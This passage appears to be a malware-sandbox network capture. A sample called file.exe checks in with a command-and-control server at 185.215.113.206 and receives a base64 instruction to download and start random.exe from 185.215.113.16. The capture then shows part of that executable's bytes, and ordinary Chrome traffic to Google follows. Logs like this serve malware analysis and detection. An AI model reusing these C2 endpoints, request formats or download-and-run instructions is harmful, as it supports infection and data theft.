name="token"7cd7c097531620207103b13e05abbaf775fe839fa70437f143f4774c52601f52667d743f------EBAFBGIDHCBFHIECFCBGContent-Disposition: form-data; name="message"ybncbhylepme------EBAFBGIDHCBFHIECFCBG--
Nov 28, 2024 06:48:43.212294102 CET	271	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:48:42 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 68 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 45 34 4e 53 34 79 4d 54 55 75 4d 54 45 7a 4c 6a 45 32 4c 32 31 70 62 6d 55 76 63 6d 46 75 5a 47 39 74 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4e 58 77 3d Data Ascii: aHR0cDovLzE4NS4yMTUuMTEzLjE2L21pbmUvcmFuZG9tLmV4ZXwwfDB8U3RhcnR8NXw=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49849	185.215.113.16	80	3656	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 06:48:43.414263964 CET	80	OUT	GET /mine/random.exe HTTP/1.1 Host: 185.215.113.16 Cache-Control: no-cache
Nov 28, 2024 06:48:44.758402109 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 28 Nov 2024 05:48:44 GMT Content-Type: application/octet-stream Content-Length: 1893888 Last-Modified: Thu, 28 Nov 2024 05:29:23 GMT Connection: keep-alive ETag: "6747ffb3-1ce600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 20 4b 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVf K@PKc@WkDKK @.rsrcD@.idata @ *@xtasyykt@1@gzyjpbijK@.taggant0 K"@
Nov 28, 2024 06:48:44.758455992 CET	124	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 28, 2024 06:48:44.910087109 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 28, 2024 06:48:44.910156965 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 28, 2024 06:48:44.910190105 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 28, 2024 06:48:44.910283089 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 28, 2024 06:48:44.910312891 CET	148	IN	Data Raw: fd 89 90 97 9b fd a3 97 6a c7 4a ae fd 29 64 4a 8a 5d 50 d1 b2 b8 74 a4 fd 06 35 c8 fe 14 4a ea 78 99 1a 5d fe 0d 7f 91 bf b9 1a e9 2d 8a 36 c5 6c 7b d5 f7 3a c5 78 0e 2d 09 4b aa 03 95 fc f8 2e bd 18 ab 7f 5d 7a a9 b0 8b 49 f9 c6 ad 1d d1 1f 49 Data Ascii: jJ)dJ]Pt5Jx]-6l{:x-K.]zII=3bj9?]iZ7dK3.]).JAd!aH\,8
Nov 28, 2024 06:48:46.259759903 CET	1236	IN	Data Raw: 83 5b 7c cd 1f bd 9d 9a 5e c8 09 f2 6e b8 04 b1 9a c5 c8 0d 2f b8 8c c4 1b 19 a5 20 4d 15 7e 94 7f dd 7c a9 ed a1 49 e0 c6 e1 28 f5 1e 86 d8 fa 7e c9 a9 21 ed 0d 4c ed 1a 60 1d b1 de 5d 1a 8a bf 59 7b 59 07 e5 7d 23 4d c8 0c 5b 26 2a 7c d5 da b8 Data Ascii: [\|^n/ M~\|I(~!L`]Y{Y}#M[&\|K)Jd1.ifia.Lin,;x!FiyXJ$.@H+ {\|= =~"q9!N0KiEkTH]3LJL5 a/\{kIa,;[\|]&i
Nov 28, 2024 06:48:46.259799957 CET	124	IN	Data Raw: 76 27 0c 07 ec 2b a9 f1 6b 9c e2 4f ce 8f da 6d c2 df 0c 4a 87 15 28 b7 2b 7e 04 fb 28 f8 ca 7c a4 c9 18 07 79 80 96 7b 7d 88 cb 14 74 89 65 b1 9f 75 ff b6 f3 01 b2 48 45 b8 06 ba c6 18 b1 08 6e 2c 44 97 f6 60 ed ae 6a 38 53 ba 3e be 41 e1 7c 7f Data Ascii: v'+kOmJ(+~(\|y{}teuHEn,D`j8S>A\|H}fjK0Iz;FiL

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49872	185.215.113.206	80	3656	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 06:48:50.589308977 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FHIECBAFBFHIJKFIJDAK Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 48 49 45 43 42 41 46 42 46 48 49 4a 4b 46 49 4a 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 63 64 37 63 30 39 37 35 33 31 36 32 30 32 30 37 31 30 33 62 31 33 65 30 35 61 62 62 61 66 37 37 35 66 65 38 33 39 66 61 37 30 34 33 37 66 31 34 33 66 34 37 37 34 63 35 32 36 30 31 66 35 32 36 36 37 64 37 34 33 66 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 45 43 42 41 46 42 46 48 49 4a 4b 46 49 4a 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 45 43 42 41 46 42 46 48 49 4a 4b 46 49 4a 44 41 4b 2d 2d 0d 0a Data Ascii: ------FHIECBAFBFHIJKFIJDAKContent-Disposition: form-data; name="token"7cd7c097531620207103b13e05abbaf775fe839fa70437f143f4774c52601f52667d743f------FHIECBAFBFHIJKFIJDAKContent-Disposition: form-data; name="message"wkkjqaiaxkhb------FHIECBAFBFHIJKFIJDAK--
Nov 28, 2024 06:48:52.479357004 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:48:51 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49708	142.250.181.100	443	2284	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:48:11 UTC	615	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlqHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc= Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-28 05:48:12 UTC	1266	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:48:12 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-33beFhUyLxTE04HX6zmcMw' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-28 05:48:12 UTC	124	IN	Data Raw: 64 33 38 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 77 69 63 6b 65 64 20 6d 6f 76 69 65 20 61 72 69 61 6e 61 20 67 72 61 6e 64 65 22 2c 22 63 72 79 70 74 6f 63 75 72 72 65 6e 63 79 22 2c 22 62 6c 61 6b 65 20 73 6e 65 6c 6c 20 64 6f 64 67 65 72 73 22 2c 22 6e 61 73 61 20 6d 69 6c 69 74 61 72 79 20 62 61 73 65 20 67 72 65 65 6e 6c 61 6e 64 22 2c 22 72 6f 63 6b 73 74 61 72 20 Data Ascii: d38)]}'["",["wicked movie ariana grande","cryptocurrency","blake snell dodgers","nasa military base greenland","rockstar
2024-11-28 05:48:12 UTC	1390	IN	Data Raw: 67 61 6d 65 73 20 67 74 61 20 36 22 2c 22 6d 63 75 20 67 61 6c 61 63 74 75 73 22 2c 22 62 75 66 66 61 6c 6f 20 62 69 6c 6c 73 20 69 6e 6a 75 72 79 20 72 65 70 6f 72 74 22 2c 22 6e 6f 76 65 6d 62 65 72 20 73 6f 63 69 61 6c 20 73 65 63 75 72 69 74 79 20 70 61 79 6d 65 6e 74 73 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 6b 6b 34 53 45 77 6f 52 56 48 4a 6c 62 6d 52 70 62 6d 63 67 63 32 56 68 63 6d 4e 6f 5a 58 4d 5c 75 30 30 33 64 22 2c 22 67 6f 6f 67 6c 65 3a 73 75 67 67 65 73 74 64 65 74 61 69 Data Ascii: games gta 6","mcu galactus","buffalo bills injury report","november social security payments"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetai
2024-11-28 05:48:12 UTC	1390	IN	Data Raw: 32 5a 45 59 7a 5a 55 4d 45 39 50 55 33 6c 70 52 6b 52 47 63 46 6c 50 5a 58 55 78 64 32 5a 55 53 44 46 4e 61 46 6f 33 52 56 68 32 64 6d 64 4e 64 6e 41 77 63 48 49 30 52 56 42 53 62 56 64 55 65 47 5a 55 59 54 56 50 51 6c 68 76 54 44 64 79 4e 46 42 56 52 47 73 30 5a 6b 78 55 54 56 5a 7a 64 30 6b 79 64 30 5a 56 64 33 6c 34 64 6a 52 51 63 44 5a 5a 65 47 4a 43 62 46 51 32 53 6d 5a 51 4e 57 78 35 62 6b 77 31 4e 6d 6c 68 55 55 39 46 57 48 64 59 52 6e 4a 7a 5a 47 64 51 64 6d 4a 46 4d 32 74 48 57 48 5a 45 52 30 70 78 61 55 6c 32 54 6b 35 5a 4e 6b 52 6c 4e 46 68 35 4b 31 52 35 5a 6a 6c 5a 63 6b 31 34 61 32 4a 4e 53 53 73 30 61 6d 64 56 53 6a 4d 32 52 6e 6c 53 63 55 52 43 55 30 63 77 4c 7a 51 7a 4f 57 67 78 65 44 46 76 63 55 35 6f 56 6d 6c 54 55 7a 4e 4f 4e 31 6c 4d Data Ascii: 2ZEYzZUME9PU3lpRkRGcFlPZXUxd2ZUSDFNaFo3RVh2dmdNdnAwcHI0RVBSbVdUeGZUYTVPQlhvTDdyNFBVRGs0ZkxUTVZzd0kyd0ZVd3l4djRQcDZZeGJCbFQ2SmZQNWx5bkw1NmlhUU9FWHdYRnJzZGdQdmJFM2tHWHZER0pxaUl2Tk5ZNkRlNFh5K1R5ZjlZck14a2JNSSs0amdVSjM2RnlScURCU0cwLzQzOWgxeDFvcU5oVmlTUzNON1lM
2024-11-28 05:48:12 UTC	487	IN	Data Raw: 6d 5a 56 52 51 63 6b 52 4e 51 30 39 76 54 6e 4e 56 64 7a 41 7a 4d 6b 52 68 59 6e 4d 76 4f 57 73 39 4f 68 70 33 61 57 4e 72 5a 57 51 67 62 57 39 32 61 57 55 67 59 58 4a 70 59 57 35 68 49 47 64 79 59 57 35 6b 5a 55 6f 48 49 7a 5a 69 4e 32 4d 7a 4d 6c 4a 4f 5a 33 4e 66 63 33 4e 77 50 57 56 4b 65 6d 6f 30 64 46 5a 51 4d 58 70 6a 4d 46 52 4a 62 7a 4e 4e 61 6b 38 78 54 45 4e 76 65 56 6c 51 55 31 4e 4c 63 7a 6c 4e 65 6d 73 31 54 6c 56 6a 61 6b 35 4d 4f 48 52 4e 56 6c 56 6e 63 33 6c 72 65 6b 31 54 4d 56 4a 4a 54 44 42 79 54 56 4d 77 61 30 5a 42 51 6a 64 79 52 47 6c 4e 63 42 4e 77 46 41 5c 75 30 30 33 64 5c 75 30 30 33 64 22 2c 22 7a 6c 22 3a 31 30 30 30 32 7d 2c 7b 22 7a 6c 22 3a 31 30 30 30 32 7d 2c 7b 22 7a 6c 22 3a 31 30 30 30 32 7d 2c 7b 22 7a 6c 22 3a 31 30 Data Ascii: mZVRQckRNQ09vTnNVdzAzMkRhYnMvOWs9Ohp3aWNrZWQgbW92aWUgYXJpYW5hIGdyYW5kZUoHIzZiN2MzMlJOZ3Nfc3NwPWVKemo0dFZQMXpjMFRJbzNNak8xTENveVlQU1NLczlNems1TlVjak5MOHRNVlVnc3lrek1TMVJJTDByTVMwa0ZBQjdyRGlNcBNwFA\u003d\u003d","zl":10002},{"zl":10002},{"zl":10002},{"zl":10
2024-11-28 05:48:12 UTC	90	IN	Data Raw: 35 34 0d 0a 6c 70 51 57 52 49 65 44 68 72 53 30 52 52 63 30 70 44 57 58 68 4b 65 44 68 6d 54 46 51 77 64 45 31 55 56 54 4e 50 61 6d 38 32 53 58 6c 7a 4c 31 4a 45 4f 44 52 52 65 6c 45 31 54 32 70 6a 51 6b 4e 6e 62 30 74 45 55 58 64 4f 52 32 63 34 55 45 64 71 59 32 0d 0a Data Ascii: 54lpQWRIeDhrS0RRc0pDWXhKeDhmTFQwdE1UVTNPam82SXlzL1JEODRRelE1T2pjQkNnb0tEUXdOR2c4UEdqY2
2024-11-28 05:48:12 UTC	1390	IN	Data Raw: 31 30 64 38 0d 0a 78 49 65 56 55 7a 54 6e 70 6a 4d 30 35 36 59 7a 4e 4f 65 6d 4d 7a 54 6e 70 6a 4d 30 35 36 59 7a 4e 4f 65 6d 4d 7a 54 6e 70 6a 4d 30 35 36 59 7a 4e 4f 65 6d 4d 7a 54 6e 70 6a 4d 30 35 36 59 7a 4e 4f 65 6d 4d 7a 54 6e 70 6a 4d 30 35 36 59 7a 4e 4f 65 6d 4d 7a 54 6e 70 6a 4d 30 34 76 4c 30 46 42 51 6b 56 4a 51 55 56 42 51 56 46 42 54 55 4a 4a 5a 30 46 44 52 56 46 46 52 45 56 52 53 43 39 34 51 55 46 69 51 55 46 42 52 45 46 52 52 55 4a 42 55 55 56 42 51 55 46 42 51 55 46 42 51 55 46 42 51 55 46 47 51 6d 64 6a 52 55 46 33 53 55 6c 42 5a 69 39 46 51 55 52 5a 55 55 46 42 53 55 4a 42 64 30 6c 46 51 6b 46 52 52 45 4e 42 54 55 4a 42 51 55 46 42 51 55 46 46 51 30 46 33 55 55 5a 46 55 6b 6c 6f 51 55 46 5a 65 46 56 53 54 57 6c 52 57 45 56 49 55 57 31 Data Ascii: 10d8xIeVUzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM04vL0FBQkVJQUVBQVFBTUJJZ0FDRVFFREVRSC94QUFiQUFBREFRRUJBUUVBQUFBQUFBQUFBQUFGQmdjRUF3SUlBZi9FQURZUUFBSUJBd0lFQkFRRENBTUJBQUFBQUFFQ0F3UUZFUkloQUFZeFVSTWlRWEVIUW1
2024-11-28 05:48:12 UTC	1390	IN	Data Raw: 4e 61 4e 32 70 54 4d 48 51 31 63 57 46 68 59 57 70 4e 56 57 52 59 52 46 56 33 4d 57 39 77 53 6a 46 4c 62 56 4e 54 53 55 5a 72 64 31 46 6b 61 44 56 31 62 53 39 59 4d 7a 52 44 57 45 52 72 54 7a 6c 74 54 33 51 76 4f 45 46 74 63 6a 46 43 53 45 4a 6a 52 32 4a 34 53 32 52 75 5a 55 5a 33 63 6b 55 32 61 30 6b 72 59 6b 46 4b 53 48 41 7a 4e 45 63 76 52 55 74 58 64 48 52 73 55 47 49 33 64 46 46 4e 55 57 4a 6d 53 56 6c 4b 56 79 74 61 52 6d 4e 45 56 48 46 34 64 6d 64 6c 62 6e 46 31 64 6a 45 79 51 57 46 4d 57 48 70 75 52 6c 56 58 4b 32 31 73 62 56 5a 59 62 57 78 70 55 6a 49 34 55 30 31 43 62 32 34 35 55 56 51 34 64 7a 64 46 5a 46 46 52 5a 55 45 77 54 6b 78 57 55 6b 38 35 52 45 67 79 62 53 39 61 54 6a 46 47 56 45 64 5a 4f 46 59 33 5a 57 5a 51 54 6c 4d 76 62 54 4e 73 55 Data Ascii: NaN2pTMHQ1cWFhYWpNVWRYRFV3MW9wSjFLbVNTSUZrd1FkaDV1bS9YMzRDWERrTzltT3QvOEFtcjFCSEJjR2J4S2RuZUZ3ckU2a0krYkFKSHAzNEcvRUtXdHRsUGI3dFFNUWJmSVlKVytaRmNEVHF4dmdlbnF1djEyQWFMWHpuRlVXK21sbVZYbWxpUjI4U01Cb245UVQ4dzdFZFFRZUEwTkxWUk85REgybS9aTjFGVEdZOFY3ZWZQTlMvbTNsU
2024-11-28 05:48:12 UTC	1390	IN	Data Raw: 55 55 67 34 55 6b 56 42 4e 55 70 57 55 6a 52 6d 63 48 51 79 52 32 4e 69 5a 32 5a 77 65 48 46 72 62 56 6c 56 62 46 4a 45 52 45 5a 43 53 30 70 6d 52 45 74 35 65 55 78 70 55 31 42 42 4e 6b 4a 71 64 48 5a 75 5a 6d 5a 6d 59 6e 52 34 4b 7a 42 46 54 54 68 6f 63 47 46 4c 62 45 49 76 52 58 70 54 63 55 6c 54 59 32 64 68 64 6e 6c 78 55 47 4d 32 62 53 39 7a 54 30 49 30 59 6d 35 4a 63 6d 70 48 4d 7a 4e 77 62 7a 56 57 64 58 4e 75 54 44 4e 4d 4f 47 6c 56 4e 55 67 30 65 58 4e 72 57 6e 42 58 4b 32 5a 48 59 30 4a 6c 4e 54 5a 46 4c 32 5a 6e 4f 55 4a 61 59 56 63 35 4f 48 5a 6d 4f 43 39 54 4d 55 56 35 57 45 4e 73 62 56 70 61 55 45 39 52 5a 57 68 45 53 48 56 4e 51 54 55 72 62 56 42 55 61 45 4e 4a 53 6b 5a 53 59 6a 55 30 53 56 4a 4f 52 45 6c 57 61 32 51 30 5a 33 68 61 64 6d 31 Data Ascii: UUg4UkVBNUpWUjRmcHQyR2NiZ2ZweHFrbVlVbFJEREZCS0pmREt5eUxpU1BBNkJqdHZuZmZmYnR4KzBFTThocGFLbEIvRXpTcUlTY2dhdnlxUGM2bS9zT0I0Ym5JcmpHMzNwbzVWdXNuTDNMOGlVNUg0eXNrWnBXK2ZHY0JlNTZFL2ZnOUJaYVc5OHZmOC9TMUV5WENsbVpaUE9RZWhESHVNQTUrbVBUaENJSkZSYjU0SVJORElWa2Q0Z3hadm1
2024-11-28 05:48:12 UTC	150	IN	Data Raw: 31 34 33 2c 33 36 32 5d 2c 5b 33 2c 31 34 33 2c 33 36 32 5d 2c 5b 33 2c 31 34 33 2c 33 36 32 5d 2c 5b 33 2c 31 34 33 2c 33 36 32 5d 2c 5b 33 2c 31 34 33 2c 33 36 32 5d 5d 2c 22 67 6f 6f 67 6c 65 3a 73 75 67 67 65 73 74 74 79 70 65 22 3a 5b 22 45 4e 54 49 54 59 22 2c 22 51 55 45 52 59 22 2c 22 51 55 45 52 59 22 2c 22 51 55 45 52 59 22 2c 22 51 55 45 52 59 22 2c 22 45 4e 54 49 54 59 22 2c 22 51 55 45 52 59 22 2c 22 51 55 45 52 59 22 5d 7d 5d 0d 0a Data Ascii: 143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362]],"google:suggesttype":["ENTITY","QUERY","QUERY","QUERY","QUERY","ENTITY","QUERY","QUERY"]}]
2024-11-28 05:48:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49711	142.250.181.100	443	2284	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:48:12 UTC	518	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlqHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc= Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-28 05:48:13 UTC	1018	IN	HTTP/1.1 200 OK Version: 700238841 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Thu, 28 Nov 2024 05:48:13 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-28 05:48:13 UTC	372	IN	Data Raw: 31 66 64 32 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 32 64 20 67 62 5f 51 65 20 67 62 5f 71 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 1fd2)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-11-28 05:48:13 UTC	1390	IN	Data Raw: 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 72 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 33 64 5c 22 30 20 30 20 32 34 20 32 34 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 Data Ascii: class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg 